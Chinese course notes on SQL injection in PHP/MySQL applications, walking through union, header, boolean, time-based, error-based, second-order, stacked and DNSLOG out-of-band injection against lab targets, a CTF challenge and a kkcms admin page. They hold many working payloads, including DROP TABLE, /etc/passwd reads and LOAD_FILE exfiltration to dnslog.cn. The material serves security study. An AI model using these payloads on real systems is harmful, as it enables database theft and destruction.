SQL 语句由于在黑盒中是无法预知写法的,SQL 注入能发成功是需要拼接原 SQL 语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原 SQL 语句的未知性导致的拼接失败!
由于开发者对于数据类型和 SQL 语句写法(框架写法)导致 SQL 注入拼接失败
1、数字型(无符号干扰)
select * from news where id=$id;
2、字符型(有符号干扰)
select * from news where id='$id';
3、搜索型(有多符号干扰)
select * from news where id like '%$id%'
4、框架型(有各种符号干扰)
select * from news where id=('$id');
select * from news where (id='$id');
#PHP-MYSQL-数据请求方法
全局变量方法:GET POST SERVER FILES HTTP 头等
User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:
网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 X-Forwarded-For:简称
XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP,(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件[通过修改
XXF 头可以实现伪造 IP]).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号
如功能点:
1、用户登录时
2、登录判断 IP 时
是 PHP 特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受 IP 的绕过(绕过) 实现:代码配置固定 IP 去判断-策略绕过
实现:数据库白名单 IP 去判断-select 注入
实现:防注入记录 IP 去保存数据库-insert 注入
3、文件上传将文件名写入数据库-insert 注入
#PHP-MYSQL-数据请求格式
1、数据采用统一格式传输,后端进行格式解析带入数据库(json)
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)
PHP-MYSQL-数据请求类型
在代码开发中为了防止查询条件是字符,会加上单引号防止报错
where id='$id' --> '

加上了单引号,如果直接用上一节的语句去查询会发现没有显示

因为后面的参数全都包括在单引号里面,是不会执行的,这个时候就要先闭合单引号
http://demo01:6767/news.php?id=-1' union select 1,2,3,4,5 --+
--是SQL中的单行注释符,它会注释掉它之后的所有内容+在URL中表示空格(URL编码中+等同于空格%20)

执行语句是:select * from news where id='-1' union select 1,2,3,4,5 -- '
where id like '%$id%'" --> '
这个知道原理后也就差不多了,目的就是先闭合再查询
http://demo01:6767/news.php?id=-1' union select 1,2,3,4,5 --+
会执行:select * from news where id like '%-1' union select 1,2,3,4,5 -- %'

--注释掉了第二个百分号所以成功查询了
或者:
http://demo01:6767/news.php?id=-1%' union select 1,2,3,4,5 and '%'='

where id=('$id') --> ‘)
http://demo01:6767/news.php?id=-1') union select 1,2,3,4,5 --+

where (id='$id') --> ‘)
http://demo01:6767/news.php?id=-1') union select 1,2,3,4,5 --+

上面这些也叫字符型注入,上一节的叫数字型
PHP-MYSQL-数据请求方法
文件上传,文件名存在数据库里面会不会产生SQL注入?
插入
insert news('title','author','content','image') value { 'union select'};
在插入图片的时候写成
img = union select
全局变量方法:GET POST SERVER FILES HTTP 头等
User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:
网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 X-Forwarded-For:简称
XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP,(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件[通过修改
XXF 头可以实现伪造 IP]).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号
如功能点:
1、用户登录时
2、登录判断 IP 时
是 PHP 特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受 IP 的绕过(绕过) 实现:代码配置固定 IP 去判断-策略绕过
实现:数据库白名单 IP 去判断-select 注入
实现:防注入记录 IP 去保存数据库-insert 注入
3、文件上传将文件名写入数据库-insert 注入
X-Forwarded-For
这个就是接收ip,一般用于判断ip是否符合条件
比如说登录,先判断ip是不是合法ip,判断又有两种
一种是ip存放在数据库里面,从数据库提取数据之后比对看ip是否合法,这个可以进行sql注入开始查询数据
另外一种是直接写在代码逻辑里面,直接判断ip是不是合法ip,这个就可以在抓包之后直接修改参数发出去就饶过了
1. 基于数据库的IP验证(存在SQL注入)
-
场景描述:应用程序从XFF头获取IP后,将其与数据库中的白名单列表进行比对。
-
漏洞代码示例:
$user_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; // 直接获取 $sql = "SELECT * FROM ip_whitelist WHERE ip = '$user_ip'"; // 直接拼接 -
攻击与利用:攻击者可以提交恶意的SQL注入Payload,而非真实IP。
- Payload示例:
X-Forwarded-For: 127.0.0.1' OR '1'='1 - 最终SQL:
SELECT * FROM ip_whitelist WHERE ip = '127.0.0.1' OR '1'='1' - 利用结果:权限绕过。该永真条件会使查询始终返回结果,从而绕过IP限制。
- Payload示例:
2. 基于代码逻辑的IP验证(存在逻辑缺陷)
-
场景描述:应用程序从XFF头获取IP后,直接在代码层与一个固定的合法IP(如
127.0.0.1)进行字符串比对。 -
漏洞代码示例:
$user_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; // 直接获取 if ($user_ip == '192.168.1.100') { // 与硬编码的IP比较 // 授予权限 } -
攻击与利用:这本质上是一个逻辑漏洞。攻击者无需进行SQL注入,只需简单地伪造IP值即可。
- Payload示例:
X-Forwarded-For: 192.168.1.100 - 利用结果:直接绕过。通过将XFF头设置为合法的IP地址,即可轻易通过验证。
- Payload示例:
笔记总结了一下
sql注入的原理都大差不差,先闭合之后后面接上想要执行的语句,只不过注入的地方不一样而已
这正是“万物皆可为输入,万物皆可注入”的思路。SQL注入的本质就是“数据” 和 “代码” 的混淆。程序把用户输入的数据,错误地当成了SQL代码的一部分来执行。
你所做的,只是在不同的地方(输入点)提供这些既能当数据又能当代码的恶意字符串。
SQL注入总览
核心思想与方法论
- 漏洞本质:数据与代码(指令)混淆,用户输入被当作SQL代码的一部分执行。
- 攻击思路:找到所有可能流入数据库查询的用户可控输入点,而不仅仅是表单和URL。
- 测试流程:1) 识别输入点 -> 2) 探测(如加
')-> 3) 判定类型 -> 4) 利用 -> 5) 提权/窃取数据。 - 根本解决方案:使用预处理语句(参数化查询)。
| 攻击向量 (Input Vector) | 描述与利用场景 | 攻击Payload示例 | 最终执行的SQL语句 (示例) |
|---|---|---|---|
| GET 参数 | URL中直接传递参数。多见于查询、展示功能。 | http://site.com/news.php?id=1' UNION SELECT 1,user(),3-- - |
SELECT * FROM news WHERE id = 1' UNION SELECT 1,user(),3-- - |
| POST 参数 | 请求体中传递参数。常见于登录、搜索、表单提交等交互功能。 | username=admin'-- -&password=any |
SELECT * FROM users WHERE user = 'admin'-- -' AND pass = 'any' |
| Cookie | 客户端持久化存储,常用于身份认证。若用于查询,则构成注入。 | Cookie: session_id=abc123' UNION SELECT version()-- - |
SELECT user FROM sessions WHERE sid = 'abc123' UNION SELECT version()-- -' |
| User-Agent | 服务器记录客户端浏览器信息用于分析。注入点在Insert日志操作中。 | User-Agent: '; DROP TABLE logs; -- - |
INSERT INTO logs (ua) VALUES (''; DROP TABLE logs; -- -') |
| X-Forwarded-For (XFF) | 用于获取客户端真实IP,常用于IP白名单、登录日志、风控。是极高价值的攻击点。 | X-Forwarded-For: 127.0.0.1' OR '1'='1 |
SELECT * FROM whitelist WHERE ip = '127.0.0.1' OR '1'='1' |
| Referer | 记录请求来源页面。注入点在Insert日志操作中。 | Referer: https://google.com',(SELECT database())-- - |
INSERT INTO visits (url, ref) VALUES ('index.php', 'https://google.com',(SELECT database())-- -') |
| Host | 可能用于多租户系统根据域名选择数据库等复杂逻辑。 | Host: example.com' UNION SELECT 1,load_file('/etc/passwd'),3-- - |
SELECT * FROM tenants WHERE domain = 'example.com' UNION SELECT 1,load_file('/etc/passwd'),3-- -' |
| 文件上传 (文件名) | 上传文件后,若将文件名存入数据库,且未过滤,则构成注入。 | 将文件名改为:test.jpg'; DROP TABLE uploads; -- - |
INSERT INTO uploads (filename) VALUES ('test.jpg'; DROP TABLE uploads; -- -') |
完整总结
- 攻击面无限拓宽:SQL注入绝非仅限于表单和URL。任何可能被后端程序获取并带入数据库查询的客户端数据,包括所有HTTP头部、Cookie、文件元数据等,都应被视为潜在的注入点。安全测试必须具备“万物皆参数”的思维。
- 漏洞利用的共性:无论注入点在哪里,其核心利用步骤一致:
- 定位输入点:找到所有用户可控参数。
- 探测与闭合:通过添加引号(
',")等手法破坏原SQL语法,触发错误。 - 确定类型:根据回显情况选择最有效的利用技巧(联合查询、报错、布尔/时间盲注)。
- 实施攻击:构造Payload窃取数据(如
database(),user())、绕过逻辑(如OR 1=1)或执行高权限操作(如DROP TABLE,LOAD_FILE)。
- 防御的唯一正道:
- 首选方案(治本):预处理语句(参数化查询)。从根源上分离指令与数据,使得用户输入永远被当作数据处理,而非代码。
- 辅助方案(治标):对无法使用预处理的场景,必须进行严格的输入验证(如白名单校验、类型强制转换)和输出转义。同时,遵循最小权限原则,为数据库操作账户分配仅所需的最小权限。
- 自动化与工具:工具如
sqlmap可以自动化测试过程(例如:sqlmap -u URL --headers="X-Forwarded-For: payload*"),但深入理解原理和手动利用技巧(尤其是对于Header注入等隐蔽点位)是提升渗透测试能力的关键。
结论: 防御者的盲点就是攻击者的突破口。保持“不信任任何输入”的安全意识,并系统性检查所有数据通道,是构建安全Web应用的基石。
PHP-MYSQL-数据请求格式
1、数据采用统一格式传输,后端进行格式解析带入数据库(json)
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)
如果注入加密了,注入的时候也是需要发送加密值的
json格式的话其实注入也差不多,闭合之后查询
第44天:WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式
#PHP-MYSQL-SQL 操作-增删改查
1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id
#PHP-MYSQL-注入函数-布尔&报错&延迟
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1、基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2、基于时间的 SQL 盲注-延时判断
if,sleep
3、基于报错的 SQL 盲注-报错回显
floor,updatexml,extractvalue
延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
布尔:
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
报错:
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
更多:https://www.jianshu.com/p/bc35f8dd4f7c
参考:
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
#PHP-MYSQL-注入条件-数据回显&错误处理
PHP开发项目-输出结果&开启报错
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3and length(database())=6(无回显无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT
version()),0x7e)1)
PHP-MYSQL-CMS 案例-插入报错&删除延迟
1、xhcms-insert报错
' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and '
2、kkcms-delete延时
and if(1=l,sleep(5)0)
or if(1=1,sleep(5)0)
or if(ord(left(database(),1))=107,sleep(2)0)
PHP-MYSQL-SQL 操作-增删改查
1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id
PHP-MYSQL-注入函数-布尔&报错&延迟
1、基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
就是一位一位的去猜,长度->名字
数据库名长度
先判断注入类型,发现是字符型然后开始判断长度,用length()函数




http://sql:2222/Less-8/?id=1' and length(database())=8 --+
用二分法找,确定数据库名字长度是8个字符
数据库名
知道数据库名字的长度后开始一位一位的去爆数据库名字



http://sql:2222/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+
ascii的115对应的是s
以此类推,第二个数据库的字母
http://sql:2222/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

第二个字母就是e
以此类推,得到数据库名security
表数量
http://sql:2222/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
这里为什么不写security而是database():两种写法都能用;但在构造通用、稳健的盲注负载时,table_schema = database() 更保险,也更少踩坑

第一张表名长度
http://sql:2222/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
这里limit作用的对象是table_name,也就是第一个表名

第一个表名长度是6
第一张表的名
http://sql:2222/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
substr(strings,1,1)
这个函数的作用就是从一个字符串中截取指定的部分,1表示从第一个字符开始,第二个1表示只截取一个字符,如果是substr(strings,2,4),表示从第二个字符开始截取四个字符

以此类推得到第一个表名为email
后面的表名
以此类推得到后面的表名,第四张的表名为users,发现敏感表名就在这个表开始爆字段名
字段数量
http://sql:2222/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3--+

第一个字段名长度
http://sql:2222/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+

可知第一个字段名长度为2
第一个字段名
http://sql:2222/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105--+

第一个字母为i,以此类推得到名为id
后面的字段名
以此类推得到后面的字段名分别为:username、password
获取表中数据的数量
http://sql:2222/Less-8/?id=1' and (select count(*) from users)=13 --+

users表中的数据一共13条
获取数据的长度
http://sql:2222/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+

第一个username的数据长度为4
获取数据
http://sql:2222/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

username的第一个数据的第一个字母是D,以此类推得到username的第一个数据是Dumb
后续的password也是一样的道理
2、基于时间的 SQL 盲注-延时判断
if,sleep
依旧先测试闭合,发现是单引号,用if函数来做判断,sleep函数来做延迟
?id=1' and if(1=1,sleep(2),1)--+

有明显的延迟加载
if(Judgment,sleep(time),1)
if函数,第一个参数是条件判断,如果为真就执行sleep(),为假就执行1,sleep(time),表示延迟多久,time是具体时间
数据库长度
http://sql:2222/Less-9/?id=1' and if(length((select database()))=8,sleep(5),1)--+
8
数据库名
http://sql:2222/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+
security
表数量
http://sql:2222/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(2),1)--+
4个
第一个表名长度
http://sql:2222/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(2),1)--+
第一个表名
http://sql:2222/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(2),1)--+
后面表名
一样的
字段数量
http://sql:2222/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3,sleep(2),1)--+
第一个字段长度
http://sql:2222/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(2),1)--+
第一个字段名
http://sql:2222/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105,sleep(2),1)--+
获取表中数据的数量
http://sql:2222/Less-9/?id=1' and if((select count(*) from users)=13,sleep(2),1)--+
获取数据的长度
http://sql:2222/Less-9/?id=1' and if(length((select username from users limit 0,1))=4,sleep(2),1)--+
获取数据
http://sql:2222/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+
其实就是判断加到了if函数里面,然后通过skeep的表现来判断是否正
3、基于报错的 SQL 盲注-报错回显
floor,updatexml,ex
报错注入的本质是故意制造一个SQL语句的执行错误,让数据库将错误信息(其中包含我们查询的结果)显示在页面回显中。这与布尔盲注(通过真/假反应判断)和时间盲注(通过延迟判断)不同,它能直接通过错误信息“回显”数据,效率通常更高
数据库名
http://sql:2222/Less-5/?id=1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) --+
concat(0x7e, (database()), 0x7e):将多个字符串连接成一个字符串
0x7e: 这是波浪号~的十六进制表示。(database()): 我们想要获取的目标数据。0x7e: 另一个~
UPDATEXML(XML_document, XPath_string, new_value):用于更新XML文档内容
XML_document: 一个XML文档片段。这里我们随便填了一个1,它不是一个有效的XML,但这没关系,因为我们在第二个参数就会触发错误,函数根本不会执行到检查第一个参数那一步。XPath_string: 一个XPath格式的路径,告诉函数要更新XML的哪个部分。这是关键参数!new_value: 要更新的新值。这里我们也随便填了1。
updatexml() 函数要求第二个参数 XPath_string 必须是一个符合XPath语法的字符串。
而我们通过 concat() 函数传给它的值是 ~security~。波浪号 ~ 在XPath语法中是非法字符。
因此,MySQL在执行这个函数时,会立即发现XPath格式错误,并停止执行。
表名
?id=1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1) --+
后续操作
也就是数据库->表->字段->数据这样来查询了,就是把查询的语句写进concat的第二个参数
updatexml()
?id=1' and updatexml(1, concat(0x7e, (你想要执行的子查询), 0x7e), 1) --+
extractvalue()
?id=1' and extractvalue(1, concat(0x7e, (你想要执行的子查询), 0x7e)) --+
EXTRACTVALUE(xml_fragment, xpath_string)
-
xml_fragment: 一个格式良好的XML文档片段(字符串)。xpath_string: 一个XPath路径表达式,用于指定要提取值的XML节点。
- 返回值:返回第一个匹配
xpath_string的节点的文本内容(text)。
floor() + rand() + group by
?id=1' and (select 1 from (select count(*), concat((你想要执行的子查询), floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+
函数
floor(): 向下取整函数。floor(3.7)结果是3。rand(): 生成一个0到1之间的随机浮点数。rand(0)*2: 使用种子0生成随机数,然后乘以2,得到一个0到2之间的数。floor(rand(0)*2): 对上面的结果向下取整,结果不是0就是1。concat()函数将我们的查询结果和这个0或1的数字拼接成一个新的字符串。- 例如:
concat('security', 0)->'security0' - 例如:
concat('security', 1)->'security1'
- 例如:
select count(*), ... as x from ... group by x
from information_schema.tables:information_schema.tables是一个系统表,它存储了数据库中所有表的信息。这个表通常有很多行(记录),这很重要。... as x: 我们将concat(...)的结果命名为x。group by x: 这是一个分组操作。它告诉MySQL:“请按照x列的值对所有行进行分组”。select count(*): 同时,计算每个分组中有多少行。
过程:
-
开始扫描
information_schema.tables表。 -
取第一行数据,计算
group by的键值x。- 计算
concat((select database()), floor(rand(0)*2)) - 假设
database()是'security',floor(rand(0)*2)第一次计算结果是0。 - 所以键值
x = 'security0'。 - MySQL在临时表中检查:存在
'security0'这个键吗?不存在。 - 于是,MySQL在临时表中插入一个新键
'security0',并将计数器count(*)设为1。 - 注意:在插入之前,
rand(0)被第二次计算了!(可能是为了计算插入操作本身的一些内部校验)。这第二次计算的结果是1。
- 计算
-
取第二行数据,再次计算键值
x。- 计算
concat((select database()), floor(rand(0)*2)) floor(rand(0)*2)现在是第三次计算,结果是1。- 所以键值
x = 'security1'。 - MySQL在临时表中检查:存在
'security1'这个键吗?不存在。 - 于是,MySQL又试图插入一个新键
'security1'。 - 在插入之前,
rand(0)被第四次计算了,结果又是0。
- 计算
-
取第三行数据,计算键值
x。floor(rand(0)*2)是第五次计算,结果是1。- 键值
x = 'security1'。 - MySQL在临时表中检查:存在
'security1'这个键吗? 是的,我们在第二步已经插入了它(虽然插入时值变成了security0',但键名是'security1')。 - 对于已存在的键,MySQL不会插入,而是会更新该组的计数器(
count(*)加一)。
-
取第四行数据,计算键值
x。floor(rand(0)*2)是第六次计算,结果是0。- 键值
x = 'security0'。 - MySQL在临时表中检查:存在
'security0'这个键吗? 是的,我们在第一步就插入了它。 - 它尝试更新这个组的计数器。
就在这里,错误发生了!
为什么?因为MySQL在第一次遇到
'security0'时(第一步),它执行了插入操作。但在插入前重新计算rand()得到1,所以它实际尝试插入的键是'security1',但逻辑上它认为自己在处理'security0'。这个内部状态的不一致导致数据库在尝试处理后续相同的键时,会在临时表中找不到它认为应该存在的条目,或者发生键冲突,最终抛出一个错误。
and (select 1 from ( ... ) as y)
( ... ) as y: 将整个复杂的报错查询包装成一个子查询,并赋予别名y。select 1 from y: 从子查询y的结果中选取数字1。这里的1可以是任何值,它并不重要。and: 与原查询拼接。因为子查询执行错误,整个and条件失败,从而触发错误回显。
PHP-MYSQL-注入条件-数据回显&错误处理
PHP开发项目-输出结果&开启报错
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3and length(database())=6(无回显无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT
version()),0x7e)1)
增删查改都可能产生注入
PHP-MYSQL-CMS 案例-插入报错&删除延迟
熊海
小迪用的版本在新闻留言界面是有盲注的,可以报错和延时
现在找的版本似乎没有这个了
kkcms
有delet删除操作


两个地方都有,admin目录下的,需要先登陆后台访问前端页面

访问/admin登录后台,默认账号密码是admin/123456

访问cms_usergroup.php

发现修改和删除框
源码是:
$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';
当传入参数del就能执行删除操作,复制删除链接也是能知道的
http://kkcms:3484/admin/cms_usergroup.php?del=1
表示删除第一个会员
http://kkcms:3484/admin/cms_usergroup.php?del=4 or if(1=1,sleep(4),sleep(0))
有延时,可以注入
第45天:WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件
#PHP-MYSQL-二次注入-DEMO&74CMS
1、DEMO-用户注册登录修改密码
2、CMS-74CMS 个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert 后进入 select 或 update 的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
#PHP-MYSQL-堆叠注入-DEMO&CTF 强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条 sql 语句,
例如 php 中的 mysqli_multi_query 函数。与之相对应的 mysqli_query()只能执行一条 SQL,所以要想目标存在堆叠注入,在目标主机存在类似于
mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
1、目标存在 sql 注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条 sql 语句
支持堆叠数据库:MYSQL MSSQL Postgresql 等
-2019 强网杯-随便注(CTF 题型)
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT
@a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在 sql 注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条 sql 语句
#PHP-MYSQL-带外注入-DEMO&DNSLOG
0.注入条件
ROOT 高权限且支持 load_file()
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
1.使用平台
http://ceye.io
http://www.dnslog.cn
2.带外应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));and(select load file(concat('//',(select database()),'.69kn19.dnslog.cn/abc')))

PHP-MYSQL-二次注入-DEMO&74CMS
详细解释:什么是二次注入?
二次注入可以理解为一种“潜伏”和“引爆”两步走的SQL注入攻击。
- 第一步:潜伏(存入恶意代码)
攻击者将恶意的SQL代码片段(例如xiaodi')通过一个合法的、前端允许的输入(比如注册用户名、留言、订单地址等)提交到应用程序中。- 关键点:在这个步骤,恶意代码只是被存入了数据库,并没有立即执行。因此,常规的Web应用防火墙(WAF)或简单的输入过滤可能无法发现它,因为它看起来只是一个普通的字符串。
- 第二步:引爆(触发恶意代码)
之后,当应用程序在另一个功能中从数据库里取出这个恶意数据,并将其作为SQL查询的一部分时,注入就发生了。- 常见场景:用户登录后修改密码、客服查看用户信息、用户发表评论等。这些功能会信任地从数据库读取数据(比如用户名)并拼接到SQL语句中。
示例
数据库:

注册用户:
用户:admin' AND updatexml(1,concat(0x7e,database()),1)#
密码:123456

数据库里面有了
登录就是之前注册的账号密码,之后再修改密码

报错注入成功
条件
其实感觉这个条件还挺多的
1. 转义字符失效
- 注册用户名:
admin' AND updatexml(1,concat(0x7e,(SELECT database())),1)# - 数据库存储: 转义后存入
admin\' AND updatexml...,但存储的是字面值'。 - 触发查询:
SELECT * FROM users WHERE username = 'admin' AND updatexml(1,concat(0x7e,(SELECT database())),1)#'
结果: 单引号闭合前段,AND后的报错注入执行。
2. 多参数注释截断
- 注册用户名:
admin' AND updatexml(1,concat(0x7e,(SELECT version())),1)# - 触发INSERT/UPDATE:
INSERT INTO users (username, password) VALUES ('admin' AND updatexml(1,concat(0x7e,(SELECT version())),1)#', 'any_password')
结果: #注释掉第二个参数和右括号,语法错误导致报错信息泄露。
3.长度限制
如果是前端就没问题,直接改就行,要是是后端的话那就没办法了
PHP-MYSQL-堆叠注入-DEMO&CTF 强网
解释
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条 sql 语句
例如 php 中的 mysqli_multi_query 函数。与之相对应的 mysqli_query()只能执行一条 SQL,所以要想目标存在堆叠注入,在目标主机存在类似于
mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
例题
1';show database();

1';show tables;

发现一个表,查看
1';select * from 1919810931114514;

被过滤了,不能用select等关键字,查看字段名
1';show columns from `1919810931114514`;

有flag
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
其中73656c65637420666c61672066726f6d20603139313938313039333131313435313460就是select flag from 1919810931114514
SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;:定义一个用户变量 @a为查询语句的十六进制
prepare execsql from @a:创建一个名为execsql的预处理语句,其内容来自变量@a的值
execute execsql;:执行刚才准备的预处理语句execsql

PHP-MYSQL-带外注入-DEMO&DNSLOG
1. 带外注入是个啥?
简单来说,带外注入 是一种攻击技术,当攻击者无法在同一个“通道”(比如浏览器页面)内直接看到攻击结果(即“无回显”或“盲注”)时,通过建立一个“额外”的通道(比如DNS查询、HTTP请求)来获取数据。
可以把传统的SQL注入想象成:
- 你问问题,页面直接回答。 (有回显注入)
- 你问问题,页面只回答“对”或“错”。 (布尔盲注)
- 你问问题,页面根据答案延迟几秒再回应。 (时间盲注)
而带外注入则是:
- 你问问题,并告诉数据库:“请把答案写在纸条上(DNS或HTTP请求),派人送到我家(攻击者控制的服务器)。” 这样,你就不需要从原来的页面获取答案了。
2. SQL带外注入?
SQL带外注入是带外注入的一种,特指在数据库操作中利用这种技术。它的核心是利用数据库本身的功能,让它主动向外部的服务器发起网络请求,并将查询结果作为请求的一部分发送出去。
要实现这个,数据库需要支持某些能发起网络请求的函数,比如:
- MySQL:
LOAD_FILE(),... INTO OUTFILE(但需要苛刻的权限) - SQL Server:
xp_dirtree,xp_fileexist(常用且有效) - Oracle:
UTL_HTTP,UTL_INADDR.GET_HOST_ADDRESS - PostgreSQL:
COPY ... FROM PROGRAM或dblink扩展
3. 为什么DNSlog会有回显?
这是最关键也最巧妙的部分。我们以 dnslog.cn 这类网站为例:
- 原理:
dnslog.cn为你生成一个唯一的子域名,比如abc123.dnslog.cn。它会监控所有对这个域名及其子域的DNS查询请求。 - 攻击流程:
- 你输入 payload:你构造一个SQL语句,让数据库去查询一个“包含我们想窃取数据”的域名。
- 例如:你想窃取数据库版本
@@version,假设是5.7.40。 - Payload 示例:
SELECT LOAD_FILE(CONCAT('\\\\', @@version, '.abc123.dnslog.cn\\aaa'))- 这个语句最终会拼接成一个完整的UNC路径(Windows网络路径):
\\5.7.40.abc123.dnslog.net\aaa - 当数据库(尤其是Windows上的数据库)尝试使用
LOAD_FILE()去访问这个“网络文件”时,它首先需要解析这个“主机名”:5.7.40.abc123.dnslog.cn。 - 为了解析主机名,数据库服务器会向DNS服务器发起一次DNS查询:“请问
5.7.40.abc123.dnslog.cn的IP地址是多少?”
- 这个语句最终会拼接成一个完整的UNC路径(Windows网络路径):
- 回显出现:
- 这次DNS查询请求会经过互联网的DNS系统,最终到达
dnslog.cn的权威DNS服务器。 dnslog.cn的服务器会记录下这次查询的完整域名,即5.7.40.abc123.dnslog.cn。- 你在
dnslog.cn的网页上刷新,就能看到这条记录。这样,数据库版本5.7.40就通过DNS查询“带外”地传到了你手中。
- 这次DNS查询请求会经过互联网的DNS系统,最终到达
所以,回显不是数据库直接给你的,而是数据库的“寻址行为”被第三方网站(dnslog)记录了下来,你再从第三方网站看到记录。
测试
http://demo01:6767/ExSql/index.php?id=1 and (select load_file(concat('\\\\','test123','.9wcuoq.dnslog.cn\\aaa')))


